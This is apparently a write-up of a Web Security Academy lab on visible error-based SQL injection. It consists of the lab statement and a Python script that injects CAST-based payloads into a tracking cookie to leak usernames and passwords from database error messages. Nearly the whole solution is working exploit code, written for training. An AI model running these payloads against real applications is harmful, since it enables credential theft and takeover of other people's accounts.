Visible error-based SQL injection
🔬 LAB:
This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.
The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.
💡 SOLUTION:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import re
import requests
import hashlib
from bs4 import BeautifulSoup
# Session ID
sid = "0a03004c03ef203580e34e40009e00f3"
# URL to send GET request to
url = f"https://{sid}.web-security-academy.net"
print(f"URL: {url}")
response_body_md5 = ""
response_body_md5_new = ""
# Payloads dictionary to be used in the SQL injection
payloads = {
"username": "' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--", # Adapt your generic SELECT statement so that it retrieves usernames from the database
"password": "' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--" # Adapt your generic SELECT statement so that it retrieves passwords from the database
}
try:
# First request to get the original response
response = requests.get(url)
response.raise_for_status() # Raise an exception for bad responses (4xx or 5xx)
# Get response body md5 sum
response_body_md5 = hashlib.md5(response.text.encode()).hexdigest()
# print(f"Original Response body md5 sum: {response_body_md5}")
# Search for the specific "Set-Cookie" header
tracking_cookie = response.headers.get("Set-Cookie")
if tracking_cookie:
# Extract the "TrackingId" value from the "Set-Cookie" header
tracking_id = tracking_cookie.split("=")[1].split(";")[0]
# Extract the "session" value from the "Set-Cookie" header
session = tracking_cookie.split("=")[2].split(";")[0]
# print("Response Headers:")
# for header, value in response.headers.items():
# print(f"{header}: {value}")
# Start loop in payloads dictionary
for key, value in payloads.items():
# Modify the tracking_id by adding the following payload:
# 1. SELECT username FROM users LIMIT 1
# 2. SELECT password FROM users LIMIT 1
print(f"Modifying tracking_id with payload: {value}")
modified_tracking_id = f"{value}"
# Resend the request with the modified headers
headers = {
'Host': f"{sid}.web-security-academy.net",
'Cookie': f'TrackingId={modified_tracking_id}; session={session}',
'Cache-Control': 'max-age=0',
'Sec-Ch-Ua': '"Not_A Brand";v="8", "Chromium";v="120"',
'Sec-Ch-Ua-Mobile': '?0',
'Sec-Ch-Ua-Platform': '"Linux"',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Sec-Fetch-Dest': 'document',
'Accept-Encoding': 'gzip, deflate, br',
'Accept-Language': 'en-US,en;q=0.9',
'Priority': 'u=0, i'
}
# Sending modified request
response_new = requests.get(url, headers=headers)
# Use BeautifulSoup to parse the HTML content
soup = BeautifulSoup(response_new.text, 'html.parser')
# Find and print the error line
error_line = soup.find('h4').text
match = re.search(r'"([^"]*)"', error_line)
if match:
extracted_text = match.group(1)
print(f"{key}: {extracted_text}")
else:
print(f"No match found in Error Line {key}")
# Compare the MD5 sums
if response_body_md5 == response_body_md5_new:
print("Response bodies are the same.")
else:
print("Response bodies are different.")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
This post is licensed under
CC BY 4.0
by the author.